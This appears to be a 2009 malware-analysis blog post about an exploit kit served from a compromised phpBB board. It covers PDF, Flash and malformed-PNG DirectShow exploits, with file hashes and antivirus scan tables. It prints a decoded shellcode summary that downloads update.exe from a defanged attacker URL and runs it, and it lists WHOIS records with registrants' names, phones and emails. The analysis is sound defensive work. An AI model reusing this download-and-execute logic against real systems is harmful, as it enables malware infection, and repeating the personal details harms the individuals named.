HeavensPunishers - hp.teamclouds.com
HeavensPunishers phpbb board has been severly compromised. A whole series of exploits start of from there. Luckily several domains didn't resolve.

Usually the compromised websites are based on the PDF / Flash flaws but this time a new element appeared: for the first time I did encounter code taking advantage of the
0-day in Microsoft DirectShow (msvidctl.dll) exploit through a malformed PNG file. Today we will thus have a closer look at the files coming from
ccikudor.cn. Upon arrival we are first hit by the PDF exploit, followed by the Flash and the PNG. The script is really a pain to decode as they "scrambeled" the whole javascript by using vars instead of the real object names and did hide little bits left and right.

File theirYearsBook.pdf received on 2009.09.15 07:40:07 (UTC)File size: 75834 bytes
MD5: a742017e862805a94f80884856d5d962
SHA1: d9c93941999e0a1547f23d65b66492b166d6d84c
SHA256: 106b05d58e21d5fe38933aed9703c64087ba0b33e9660e2c00d6dc0a2899271e
PEiD: -
Antivirus Version Last Update Result
a-squared 4.5.0.24 2009.09.15 -
AhnLab-V3 5.0.0.2 2009.09.15 -
AntiVir 7.9.1.14 2009.09.14 EXP/Pidief.fyc
Antiy-AVL 2.0.3.7 2009.09.15 Exploit/Win32.Pidief
Authentium 5.1.2.4 2009.09.15 -
Avast 4.8.1351.0 2009.09.14 -
AVG 8.5.0.412 2009.09.14 -
BitDefender 7.2 2009.09.15 Exploit.PDF-JS.Gen
CAT-QuickHeal 10.00 2009.09.14 -
ClamAV 0.94.1 2009.09.14 -
Comodo 2323 2009.09.15 -
DrWeb 5.0.0.12182 2009.09.15 -
eSafe 7.0.17.0 2009.09.14 -
eTrust-Vet 31.6.6737 2009.09.14 -
F-Prot 4.5.1.85 2009.09.14 -
F-Secure 8.0.14470.0 2009.09.15 -
Fortinet 3.120.0.0 2009.09.15 -
GData 19 2009.09.15 Exploit.PDF-JS.Gen
Ikarus T3.1.1.72.0 2009.09.15 -
Jiangmin 11.0.800 2009.09.15 -
K7AntiVirus 7.10.844 2009.09.14 -
Kaspersky 7.0.0.125 2009.09.15 -
McAfee 5741 2009.09.14 -
McAfee+Artemis 5741 2009.09.14 -
McAfee-GW-Edition 6.8.5 2009.09.15 Exploit.Pidief.fyc
Microsoft 1.5005 2009.09.15 -
NOD32 4425 2009.09.14 -
Norman 6.01.09 2009.09.14 -
nProtect 2009.1.8.0 2009.09.14 -
Panda 10.0.2.2 2009.09.14 -
PCTools 4.4.2.0 2009.09.14 -
Prevx 3.0 2009.09.15 -
Rising 21.47.11.00 2009.09.15 -
Sophos 4.45.0 2009.09.15 Mal/PDFJs-L
Sunbelt 3.2.1858.2 2009.09.15 -
Symantec 1.4.4.12 2009.09.15 -
TheHacker 6.3.4.4.404 2009.09.15 -
TrendMicro 8.950.0.1094 2009.09.15 -
VBA32 3.12.10.10 2009.09.14 -
ViRobot 2009.9.15.1936 2009.09.15 -
VirusBuster 4.6.5.0 2009.09.14 -
File byEtExact.swf received on 2009.09.15 07:38:22 (UTC)File size: 43142 bytes
MD5: 0cb2e04706992d551c558013684cea3e
SHA1: 97587512082d6e2e390dfa5959364dfc886f0e77
SHA256: 0f0ff8bd7b223fd883636d577871487d5eabb0fbc91c83408e0d9720a822057f
PEiD: -
packers (Kaspersky): Swf2Swc
Antivirus Version Last Update Result
a-squared 4.5.0.24 2009.09.15 -
AhnLab-V3 5.0.0.2 2009.09.15 -
AntiVir 7.9.1.14 2009.09.14 -
Antiy-AVL 2.0.3.7 2009.09.15 -
Authentium 5.1.2.4 2009.09.15 -
Avast 4.8.1351.0 2009.09.14 -
AVG 8.5.0.412 2009.09.14 -
BitDefender 7.2 2009.09.15 Trojan.SWF.Dropper.Gen
CAT-QuickHeal 10.00 2009.09.14 -
ClamAV 0.94.1 2009.09.14 -
Comodo 2323 2009.09.15 -
DrWeb 5.0.0.12182 2009.09.15 -
eSafe 7.0.17.0 2009.09.14 -
eTrust-Vet 31.6.6737 2009.09.14 -
F-Prot 4.5.1.85 2009.09.14 -
F-Secure 8.0.14470.0 2009.09.15 -
Fortinet 3.120.0.0 2009.09.15 -
GData 19 2009.09.15 Trojan.SWF.Dropper.Gen
Ikarus T3.1.1.72.0 2009.09.15 -
Jiangmin 11.0.800 2009.09.15 -
K7AntiVirus 7.10.844 2009.09.14 -
Kaspersky 7.0.0.125 2009.09.15 -
McAfee 5741 2009.09.14 -
McAfee+Artemis 5741 2009.09.14 -
McAfee-GW-Edition 6.8.5 2009.09.15 -
Microsoft 1.5005 2009.09.15 -
NOD32 4425 2009.09.14 -
Norman 6.01.09 2009.09.14 -
nProtect 2009.1.8.0 2009.09.14 -
Panda 10.0.2.2 2009.09.14 -
PCTools 4.4.2.0 2009.09.14 -
Prevx 3.0 2009.09.15 -
Rising 21.47.11.00 2009.09.15 -
Sophos 4.45.0 2009.09.15 Troj/SWFLdr-D
Sunbelt 3.2.1858.2 2009.09.15 -
Symantec 1.4.4.12 2009.09.15 -
TheHacker 6.3.4.4.404 2009.09.15 -
TrendMicro 8.950.0.1094 2009.09.15 -
VBA32 3.12.10.10 2009.09.14 -
ViRobot 2009.9.15.1936 2009.09.15 -
VirusBuster 4.6.5.0 2009.09.14 -
The loading method and ActionScript code is identical as the Flash file discovered at bintus-bahi.cn. Again several arrays where used to obfuscate the code.

File evenSearchLooks.png received on 2009.09.15 07:40:31 (UTC)File size: 211 bytes
MD5: 3cf6404d1251a2ecf132a764d94df3f5
SHA1: d89c7e2ccb851010dbe431688b49f873716cdd0e
SHA256: 6581b25e34e1bcbc70bf78f075e8cafd0e7a17744b16b48a943562b8c6ba3a2f
PEiD: -
Antivirus Version Last Update Result
a-squared 4.5.0.24 2009.09.15 -
AhnLab-V3 5.0.0.2 2009.09.15 -
AntiVir 7.9.1.14 2009.09.14 -
Antiy-AVL 2.0.3.7 2009.09.15 -
Authentium 5.1.2.4 2009.09.15 -
Avast 4.8.1351.0 2009.09.14 -
AVG 8.5.0.412 2009.09.14 -
BitDefender 7.2 2009.09.15 -
CAT-QuickHeal 10.00 2009.09.14 -
ClamAV 0.94.1 2009.09.14 -
Comodo 2323 2009.09.15 -
DrWeb 5.0.0.12182 2009.09.15 -
eSafe 7.0.17.0 2009.09.14 -
eTrust-Vet 31.6.6737 2009.09.14 -
F-Prot 4.5.1.85 2009.09.14 -
F-Secure 8.0.14470.0 2009.09.15 -
Fortinet 3.120.0.0 2009.09.15 -
GData 19 2009.09.15 -
Ikarus T3.1.1.72.0 2009.09.15 -
Jiangmin 11.0.800 2009.09.15 -
K7AntiVirus 7.10.844 2009.09.14 -
Kaspersky 7.0.0.125 2009.09.15 -
McAfee 5741 2009.09.14 -
McAfee+Artemis 5741 2009.09.14 -
McAfee-GW-Edition 6.8.5 2009.09.15 -
Microsoft 1.5005 2009.09.15 -
NOD32 4425 2009.09.14 -
Norman 6.01.09 2009.09.14 -
nProtect 2009.1.8.0 2009.09.14 -
Panda 10.0.2.2 2009.09.14 -
PCTools 4.4.2.0 2009.09.14 -
Prevx 3.0 2009.09.15 -
Rising 21.47.11.00 2009.09.15 Hack.Exploit.Win32.CVE-2008-0015.a
Sophos 4.45.0 2009.09.15 -
Sunbelt 3.2.1858.2 2009.09.15 -
Symantec 1.4.4.12 2009.09.15 -
TheHacker 6.3.4.4.404 2009.09.15 -
TrendMicro 8.950.0.1094 2009.09.15 -
VBA32 3.12.10.10 2009.09.14 -
ViRobot 2009.9.15.1936 2009.09.15 -
VirusBuster 4.6.5.0 2009.09.14 -
In the obfuscated code we do find back a reference to evenSearchLooks.png.

Once cleaned up, the code already looks way clearer.

Our evenSearchLooks.png is not a valid PNG image. It looks more like an invalid media file header that runs the shellcode.


Firefox is unable to display the image, this does not necessarily mean that Firefox users are immune to this exploit.

Shellcode.
The shellcode is one long string in the value property of a DIV element:

It is extracted using getElementById with a regular expression (regex) applied to remove the junk characters. Once cleaned up it gives escaped unicode. After getting appropriate function addresses from kernel32.dll and urlmon.dll, the code does this:
CODE
call URLDownloadToFileA
hxxp://ccikudor.cn/qweqwe/update.php?id=1
[user temp]\update.exe
call WinExec
[user temp]\update.exe
call URLDownloadToFileA
(hex: 9090)
[user temp]crash.php
call WinExec
[user-temp]\crash.php
The second URLDownloadToFileA has an invalid parameter but would work if they had provided a second URL. My network traces don't have any traces of crash.php
IP details
fastreadingit.ru - 211.95.78.98 type: CORPORATE
nserver: ns1.everydns.net - ns2.everydns.net - ns3.everydns.net - ns4.everydns.net
person: Private person
phone: +7 910 3478712
e-mail: dmitrijstanislavskij@yandex.ru
registrar: REGRU-REG-RIPN
created: 2009.09.04
paid-till: 2010.09.04
______________________________
add-content-filter.info / 7addition.info / 71speed.info - NO IPSponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com (R159-LRMS)
Registrant Name:Vicky Chan
Registrant Street1:Flat C, 18/F., Block 39
Registrant City:Hong Kong
Registrant State/Province:Hong Kong
Registrant Postal Code:1007
Registrant Country:CN
Registrant Phone:+852.97336022
Registrant Email:chan.wai.kay.1@gmail.com
______________________________
add-block-filter.info - 212.117.163.165 Created On:15-Mar-2009 18:49:45 UTC
Last Updated On:15-May-2009 03:27:23 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com (R159-LRMS)
Name Server:NS1.ADD-BLOCK-FILTER.INFO - NS2.ADD-BLOCK-FILTER.INFO
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Email:contact@privacyprotect.org
______________________________
hospitalhotspot.com - 213.163.91.205 Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM
Name Server: NS1.CODDNS.COM - NS2.CODDNS.COM
Creation Date: 20-aug-2009
Registrant: Andrew (andrewfairg@yahoo.co.uk)
Unit A1 The Workshops
London
London,W12 9DP
GB
Tel. +44.2087437597
______________________________
kzayopoq.cn / ccikudor.cn - 195.88.191.46 egistrant Organization: 海盐新明制造厂
Registrant Name: 张群
Administrative Email: ujangn@126.com
Sponsoring Registrar: 易名中国
Name Server:ns1.vvukufan.com - ns2.vvukufan.com
Registration Date: 2009-09-10 21:39
Expiration Date: 2010-09-10 21:39
Special thanks fly out to antnet for assisting me with the javascript / Shellcode